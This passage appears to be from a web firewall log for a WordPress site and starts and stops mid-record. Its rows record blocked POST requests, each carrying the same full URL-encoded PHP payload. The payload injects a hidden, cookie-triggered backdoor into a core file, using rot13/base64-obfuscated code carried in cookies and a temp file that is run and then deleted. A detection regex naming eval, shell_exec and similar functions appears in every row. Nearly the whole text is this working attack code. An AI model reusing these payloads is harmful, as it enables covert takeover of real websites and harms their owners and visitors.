2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4327\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-mode:navigate\n\nOk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:55:05","41.76.213.235","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4327\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-fetch-mode:navigate\n\nEZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:56:09","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4327\n\nXH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:56:27","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%2